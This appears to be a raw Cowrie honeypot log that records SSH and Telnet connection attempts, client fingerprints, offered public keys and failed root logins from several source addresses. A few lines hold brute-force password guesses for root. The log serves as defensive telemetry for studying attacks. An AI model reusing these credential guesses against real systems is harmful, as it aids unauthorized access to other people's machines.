{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:9a:97:52:6a:e0:9d:7e:32:6b:02:fb:da:12:e4:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiuVmsqRmd5iuv7tQHjFFSxzp7fg8LcdJdv5bKrzW7M9wZbitDL4TwZThujkoFDZAnQ/WSjeMwyzyJ0nIdRg1MsqdbIUU633JixadYXgi9J1YLo1ZlezzL2cSAMnfVZJj1PuJXW7L1KjVx3jMZuWpDu7OYyt9Bnpt2VrGad6YC+l6jGxCxTbJrFqzDqNwOWKcd/dXidn+Oi781FPHQXbacb03nda++gJKnffyjS00pFxJx3yWziY6W5dPJoz1GgWXr2kzPOX7wbp4d7B0O/R3hhSDd9dmNiE3fRANVtQxv0nKbJnbs7GZJDXi3388xa3L6c9q6NW9Nrnc3+DNJWiiA9kpzNV0OMHyMPwEVU8c18Up1rRZK5j7U19GWLqG1+4cyZFRiDJ70htz9q4dsNP1iUgxF6seSio3CdPoZpGh4TPiI/w6P1ubzOT2zE7jJfKIPGHmlhcAYBLTCeU4FlMuk2jRFOdijW+cttirDiAunWCBjfYnRhXZWc7HDO7M1coFHyqazssi9m/vF81EX851gQl1nWdRzZxb+BrjqtpG4abnl1WaOCXyfcM5K8GDlJr/bmB2F37VUtL5yJPGhTfQIWeo55I6lusO4TLHDHht8D5lMcN6YZPSVEVJAE4UEc6VuKzxcBvDavBBSnWRDlVhdwxg3wImo64jV3tkIr9XxxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:9a:97:52:6a:e0:9d:7e:32:6b:02:fb:da:12:e4:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.521295Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:9a:97:52:6a:e0:9d:7e:32:6b:02:fb:da:12:e4:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiuVmsqRmd5iuv7tQHjFFSxzp7fg8LcdJdv5bKrzW7M9wZbitDL4TwZThujkoFDZAnQ/WSjeMwyzyJ0nIdRg1MsqdbIUU633JixadYXgi9J1YLo1ZlezzL2cSAMnfVZJj1PuJXW7L1KjVx3jMZuWpDu7OYyt9Bnpt2VrGad6YC+l6jGxCxTbJrFqzDqNwOWKcd/dXidn+Oi781FPHQXbacb03nda++gJKnffyjS00pFxJx3yWziY6W5dPJoz1GgWXr2kzPOX7wbp4d7B0O/R3hhSDd9dmNiE3fRANVtQxv0nKbJnbs7GZJDXi3388xa3L6c9q6NW9Nrnc3+DNJWiiA9kpzNV0OMHyMPwEVU8c18Up1rRZK5j7U19GWLqG1+4cyZFRiDJ70htz9q4dsNP1iUgxF6seSio3CdPoZpGh4TPiI/w6P1ubzOT2zE7jJfKIPGHmlhcAYBLTCeU4FlMuk2jRFOdijW+cttirDiAunWCBjfYnRhXZWc7HDO7M1coFHyqazssi9m/vF81EX851gQl1nWdRzZxb+BrjqtpG4abnl1WaOCXyfcM5K8GDlJr/bmB2F37VUtL5yJPGhTfQIWeo55I6lusO4TLHDHht8D5lMcN6YZPSVEVJAE4UEc6VuKzxcBvDavBBSnWRDlVhdwxg3wImo64jV3tkIr9XxxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.525365Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:36:02:2c:12:fd:7a:4d:d6:f8:2f:8f:b6:31:37:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8zPpxmDY+AQ6HKOJ7n7d2/49dCpe9E7cvqDhe3wrpifs7OMFQoQ1HPI5G4SZwJJQj7KZ2qhMkTo6Na0npjI7RaRnUiiKxpg5ZGmvQhw+31sisIo67iP8f0ReYcUDgRENEV7qi6iMoklNxpScjuwUmQ0MOgDq3o3x2EhVgWKIZ7ISh6Q7ksnhAg+xl+hANupOn5IidxkYBkj688EO7F0w92MdCY8QY/VClX/ioY7DiryGoVFuGBzC5o1lF6EWHkDPiIj0WsvL+d5YkYaiUALspIZlrpX8YQtgF3DPPRlnzna3j5N4hhBjRH2XoK+4t/8Xwr9/C8vRUU3najzc08S+Ykf2avfqNUmsVzpFp6RUIbHsjejhq1MPuAXVkSjVUVniOdSu+TBWHvSqObkrFIJIv1FvB4mRm0Zq0MPZq/CzMr2qNLTrLTRdnYJ3YzNOBpe+rDxUSok34XobqQ5aI0q3HY5/mBiIUISJbcZNBRnln0ZmYXnoLw32Sv2EuXKs+ubE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:36:02:2c:12:fd:7a:4d:d6:f8:2f:8f:b6:31:37:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.602243Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:36:02:2c:12:fd:7a:4d:d6:f8:2f:8f:b6:31:37:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8zPpxmDY+AQ6HKOJ7n7d2/49dCpe9E7cvqDhe3wrpifs7OMFQoQ1HPI5G4SZwJJQj7KZ2qhMkTo6Na0npjI7RaRnUiiKxpg5ZGmvQhw+31sisIo67iP8f0ReYcUDgRENEV7qi6iMoklNxpScjuwUmQ0MOgDq3o3x2EhVgWKIZ7ISh6Q7ksnhAg+xl+hANupOn5IidxkYBkj688EO7F0w92MdCY8QY/VClX/ioY7DiryGoVFuGBzC5o1lF6EWHkDPiIj0WsvL+d5YkYaiUALspIZlrpX8YQtgF3DPPRlnzna3j5N4hhBjRH2XoK+4t/8Xwr9/C8vRUU3najzc08S+Ykf2avfqNUmsVzpFp6RUIbHsjejhq1MPuAXVkSjVUVniOdSu+TBWHvSqObkrFIJIv1FvB4mRm0Zq0MPZq/CzMr2qNLTrLTRdnYJ3YzNOBpe+rDxUSok34XobqQ5aI0q3HY5/mBiIUISJbcZNBRnln0ZmYXnoLw32Sv2EuXKs+ubE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.606351Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:1e:3c:db:0d:8f:a7:9e:d1:55:0f:3d:ff:42:72:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgZs2G9dhf5dvDRx7m44iT55AAXM9+Sikh1XpcZte1lieDbAmF2pIDhRgrxsn87I0+QsRY5qG5reO6JJxhnZ0/ZRJ7Y4gA8YvrZ3yl1RF7HC5KzFZP2VsZXA9tChvAPtO9wNXgYoGVNU1sK28+4aXx97Jbl2JV0mqNmFYWa3baDPvF9Jm3YNJwj55VJuPPYhF8c4uPmowkw03GdZ4CYlTzyRDCC6AQoVrP8koGoTncQLAC4Xe0umC4Ysqx40A3d2m5VijC6IZfGV7Y+yXq7XZX8PRAx0W4bDjQmd/GJuOWrETn0yvC/W06GIwK7gTSVY6PPMPJBrAPEzeoqRfz7Fgzh39isnUxy/Yx6YdpiVJAK46e6sGMMFTEzUOs1JcBG0B2h9xI5DLQdDAWG/xo1tuzL/MhaWpEySpcPT4WnHtHOaUku4HuswJD8r338wDui/zRymV/El8oKtJ/69xrI4w9ApqCHO6OwXEZJJeMpcVv05ukrzKih+t5FRzE2Ud3N9U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:1e:3c:db:0d:8f:a7:9e:d1:55:0f:3d:ff:42:72:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.678842Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:1e:3c:db:0d:8f:a7:9e:d1:55:0f:3d:ff:42:72:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgZs2G9dhf5dvDRx7m44iT55AAXM9+Sikh1XpcZte1lieDbAmF2pIDhRgrxsn87I0+QsRY5qG5reO6JJxhnZ0/ZRJ7Y4gA8YvrZ3yl1RF7HC5KzFZP2VsZXA9tChvAPtO9wNXgYoGVNU1sK28+4aXx97Jbl2JV0mqNmFYWa3baDPvF9Jm3YNJwj55VJuPPYhF8c4uPmowkw03GdZ4CYlTzyRDCC6AQoVrP8koGoTncQLAC4Xe0umC4Ysqx40A3d2m5VijC6IZfGV7Y+yXq7XZX8PRAx0W4bDjQmd/GJuOWrETn0yvC/W06GIwK7gTSVY6PPMPJBrAPEzeoqRfz7Fgzh39isnUxy/Yx6YdpiVJAK46e6sGMMFTEzUOs1JcBG0B2h9xI5DLQdDAWG/xo1tuzL/MhaWpEySpcPT4WnHtHOaUku4HuswJD8r338wDui/zRymV/El8oKtJ/69xrI4w9ApqCHO6OwXEZJJeMpcVv05ukrzKih+t5FRzE2Ud3N9U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.682988Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:b2:f4:b7:2d:55:63:8d:73:90:50:d7:05:90:84:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDyXtuM7xtG89Iira11gs9zOFHa1XmLQl10oP1LO28QsCRSYzDh//SiDrqj+RyP7MkUo3a02kKrodbV+blF4KC1HO61oIxB6se0ghtvHzqcSqkLIFwEKR9j2AJKKve604dnW5OHQE/ZWDLkfxH3Hob6L+uXydl+Mt6+gBXsEkS1/YK5MjTMdnwzpH2BQ/JPs1vJzK7lop4qr1wL/pDI0vLx2us6E1Jy/LxCQ8c4wVJh/EayEOCvQsQosSbDexHwNOnNCYRSxABUaAgkJ0PWsyYdG5Y0RC/oQjh4KqKl2Aj5EbS23R5OhphKL5bP/ot27vQcYKq0aTgHv+qGbPhxqytY6CTdOkrqDe9ph9wiYamaqVkt+3dOzbvDRyXA6fh2/404O5NcgodrvIIjycVzBahn/HneS5INTDrBIwrAaUNr7pTKFVPhoECEebNYl62TTst5dC38QNzO6IirTumLL3BJZGUyPTMdCFYqtdxp0mu+YOgSFGJgmmXPNccCd4nRdu8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:b2:f4:b7:2d:55:63:8d:73:90:50:d7:05:90:84:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.754072Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:b2:f4:b7:2d:55:63:8d:73:90:50:d7:05:90:84:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDyXtuM7xtG89Iira11gs9zOFHa1XmLQl10oP1LO28QsCRSYzDh//SiDrqj+RyP7MkUo3a02kKrodbV+blF4KC1HO61oIxB6se0ghtvHzqcSqkLIFwEKR9j2AJKKve604dnW5OHQE/ZWDLkfxH3Hob6L+uXydl+Mt6+gBXsEkS1/YK5MjTMdnwzpH2BQ/JPs1vJzK7lop4qr1wL/pDI0vLx2us6E1Jy/LxCQ8c4wVJh/EayEOCvQsQosSbDexHwNOnNCYRSxABUaAgkJ0PWsyYdG5Y0RC/oQjh4KqKl2Aj5EbS23R5OhphKL5bP/ot27vQcYKq0aTgHv+qGbPhxqytY6CTdOkrqDe9ph9wiYamaqVkt+3dOzbvDRyXA6fh2/404O5NcgodrvIIjycVzBahn/HneS5INTDrBIwrAaUNr7pTKFVPhoECEebNYl62TTst5dC38QNzO6IirTumLL3BJZGUyPTMdCFYqtdxp0mu+YOgSFGJgmmXPNccCd4nRdu8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.758948Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:1a:ea:99:bf:1f:e6:f8:05:91:ea:63:2b:5f:c5:8b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDrs3YEv2vnhJTD8ERM71vaK/fFIH2oMGw0AIU38fIBQ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ce:1a:ea:99:bf:1f:e6:f8:05:91:ea:63:2b:5f:c5:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.830084Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:1a:ea:99:bf:1f:e6:f8:05:91:ea:63:2b:5f:c5:8b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDrs3YEv2vnhJTD8ERM71vaK/fFIH2oMGw0AIU38fIBQ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.834404Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.906497Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40698,"dst_ip":"10.17.0.5","dst_port":23,"session":"15dc9da4c215","protocol":"telnet","message":"New connection: 152.42.224.71:40698 (10.17.0.5:23) [session: 15dc9da4c215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:10.770988Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":60470,"dst_ip":"159.203.135.109","dst_port":22,"session":"248ce6726add","protocol":"ssh","message":"New connection: 43.134.228.151:60470 (159.203.135.109:22) [session: 248ce6726add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:11.085430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:11.090529Z","src_ip":"43.134.228.151","session":"248ce6726add","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.48346424102783,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:11.293948Z","src_ip":"152.42.224.71","session":"6c6e8d7e7d8b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:11.329828Z","src_ip":"43.134.228.151","session":"248ce6726add","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40710,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffdad3f12916","protocol":"telnet","message":"New connection: 152.42.224.71:40710 (10.17.0.5:23) [session: ffdad3f12916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:11.605375Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@ditzu123","message":"login attempt [root/A@ditzu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:12.320303Z","src_ip":"43.134.228.151","session":"248ce6726add","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40716,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e9fec066988","protocol":"telnet","message":"New connection: 152.42.224.71:40716 (10.17.0.5:23) [session: 7e9fec066988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:12.627907Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:13.562662Z","src_ip":"43.134.228.151","session":"248ce6726add","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":37606,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a1d1ce3274","protocol":"ssh","message":"New connection: 43.153.54.120:37606 (159.203.135.109:22) [session: 21a1d1ce3274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:15.698404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:15.703654Z","src_ip":"43.153.54.120","session":"21a1d1ce3274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:15.776363Z","src_ip":"43.153.54.120","session":"21a1d1ce3274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40724,"dst_ip":"10.17.0.5","dst_port":23,"session":"ded1bceb0eef","protocol":"telnet","message":"New connection: 152.42.224.71:40724 (10.17.0.5:23) [session: ded1bceb0eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:15.811721Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxx","message":"login attempt [root/xxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:16.086447Z","src_ip":"43.153.54.120","session":"21a1d1ce3274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:17.159354Z","src_ip":"43.153.54.120","session":"21a1d1ce3274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36060,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d3addafbe95","protocol":"ssh","message":"New connection: 31.40.204.166:36060 (159.203.135.109:22) [session: 9d3addafbe95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:17.585481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:17.596023Z","src_ip":"31.40.204.166","session":"9d3addafbe95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:17.710835Z","src_ip":"31.40.204.166","session":"9d3addafbe95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:18.705357Z","src_ip":"31.40.204.166","session":"9d3addafbe95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:19.902847Z","src_ip":"31.40.204.166","session":"9d3addafbe95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":43900,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d3a7508e2f","protocol":"ssh","message":"New connection: 103.75.183.219:43900 (159.203.135.109:22) [session: 45d3a7508e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:20.306030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:20.314632Z","src_ip":"103.75.183.219","session":"45d3a7508e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:20.559179Z","src_ip":"103.75.183.219","session":"45d3a7508e2f","protocol":"ssh"}
